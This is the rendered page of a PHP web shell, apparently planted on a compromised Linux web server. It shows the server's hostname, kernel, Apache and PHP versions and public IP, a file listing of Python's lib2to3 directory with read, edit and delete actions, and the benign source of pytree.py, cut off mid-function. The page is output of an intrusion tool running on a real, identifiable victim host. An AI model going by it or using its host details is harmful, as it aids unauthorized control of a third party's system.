x3x3x3x_5h3ll
— 53cur3 — 5h3ll_1d —
Linux vps-10654784.cedaps.org.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
  INFO SERVER : Apache PHP : 7.4.33
/lib64/python3.6/lib2to3/
162.240.100.168

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACTN ]
+FILE +DIR
__pycache__ dir drwxr-xr-x 2024-10-07 16:37 R D
fixes dir drwxr-xr-x 2024-10-07 16:37 R D
pgen2 dir drwxr-xr-x 2024-10-07 16:37 R D
Grammar.txt 6.408 KB -rw-r--r-- 2018-12-23 21:37 R E G D
Grammar3.6.8.final.0.pickle 31.496 KB -rw-r--r-- 2024-09-24 14:11 R E G D
PatternGrammar.txt 0.774 KB -rw-r--r-- 2018-12-23 21:37 R E G D
PatternGrammar3.6.8.final.0.pickle 2.044 KB -rw-r--r-- 2024-09-24 14:11 R E G D
__init__.py 0.007 KB -rw-r--r-- 2018-12-23 21:37 R E G D
__main__.py 0.065 KB -rw-r--r-- 2018-12-23 21:37 R E G D
btm_matcher.py 6.673 KB -rw-r--r-- 2018-12-23 21:37 R E G D
btm_utils.py 9.732 KB -rw-r--r-- 2018-12-23 21:37 R E G D
fixer_base.py 6.533 KB -rw-r--r-- 2018-12-23 21:37 R E G D
fixer_util.py 14.851 KB -rw-r--r-- 2018-12-23 21:37 R E G D
main.py 11.38 KB -rw-r--r-- 2018-12-23 21:37 R E G D
patcomp.py 6.879 KB -rw-r--r-- 2018-12-23 21:37 R E G D
pygram.py 1.127 KB -rw-r--r-- 2018-12-23 21:37 R E G D
pytree.py 27.395 KB -rw-r--r-- 2018-12-23 21:37 R E G D
refactor.py 27.31 KB -rw-r--r-- 2018-12-23 21:37 R E G D
REQUEST EXIT
# Copyright 2006 Google, Inc. All Rights Reserved. # Licensed to PSF under a Contributor Agreement. """ Python parse tree definitions. This is a very concrete parse tree; we need to keep every token and even the comments and whitespace between tokens. There's also a pattern matching implementation here. """ __author__ = "Guido van Rossum " import sys import warnings from io import StringIO HUGE = 0x7FFFFFFF # maximum repeat count, default max _type_reprs = {} def type_repr(type_num): global _type_reprs if not _type_reprs: from .pygram import python_symbols # printing tokens is possible but not as useful # from .pgen2 import token // token.__dict__.items(): for name, val in python_symbols.__dict__.items(): if type(val) == int: _type_reprs[val] = name return _type_reprs.setdefault(type_num, type_num) class Base(object): """ Abstract base class for Node and Leaf. This provides some default functionality and boilerplate using the template pattern. A node may be a subnode of at most one parent. """ # Default values for instance variables type = None # int: token number (< 256) or symbol number (>= 256) parent = None # Parent node pointer, or None children = () # Tuple of subnodes was_changed = False was_checked = False def __new__(cls, *args, **kwds): """Constructor that prevents Base from being instantiated.""" assert cls is not Base, "Cannot instantiate Base" return object.__new__(cls) def __eq__(self, other): """ Compare two nodes for equality. This calls the method _eq(). """ if self.__class__ is not other.__class__: return NotImplemented return self._eq(other) __hash__ = None # For Py3 compatibility. def _eq(self, other): """ Compare two nodes for equality. This is called by __eq__ and __ne__. It is only called if the two nodes have the same type. This must be implemented by the concrete subclass. Nodes should be considered equal if they have the same structure, ignoring the prefix string and other context information. """ raise NotImplementedError def clone(self): """ Return a cloned (deep) copy of self. This must be implemented by the concrete subclass. """ raise NotImplementedError def post_order(self): """ Return a post-order iterator for the tree. This must be implemented by the concrete subclass. """ raise NotImplementedError def pre_order(self): """ Return a pre-order iterator for the tree. This must be implemented by the concrete subclass. """ raise NotImplementedError def replace(self, new): """Replace this node with a new one in the parent.""" assert self.parent is not None, str(self) assert new is not None if not isinstance(new, list): new = [new] l_children = [] found = False for ch in self.parent.children: if ch is self: assert not found, (self.parent.children, self, new) if new is not None: l_children.extend(new) found = True else: l_children.append(ch) assert found, (self.children, self, new) self.parent.changed() self.parent.children = l_children for x in new: x.parent = self.parent self.parent = None def get_lineno(self): """Return the line number which generated the invocant node.""" node = self while not isinstance(node, Leaf): if not node.children: return node = node.children[0] return node.lineno def changed(self): if self.parent: self.parent.changed() self.was_changed = True def remove(self): """ Remove the node from the tree. Returns the position of the node in its parent's children before it was removed. """ if self.parent: for i, node in enumerate(self.parent.children): if node is self: self.parent.changed() del self.parent.children[i] self.parent = None return i @property def next_sibling(self): """ The node immediately following the invocant in their parent's children list. If the invocant does not have a next sibling, it is None """ if self.parent is None: return None # Can't use index(); we need to test by identity for i, child in enumerate(self.parent.children): if child is self: try: return self.parent.children[i+1] except IndexError: return None @property def prev_sibling(self): """ The node immediately preceding the invocant in their parent's children list. If the invocant does not have a previous sibling, it is None. """ if self.parent is None: return None # Can't use index(); we need to test by identity for i, child in enumerate(self.parent.children): if child is self: if i == 0: return None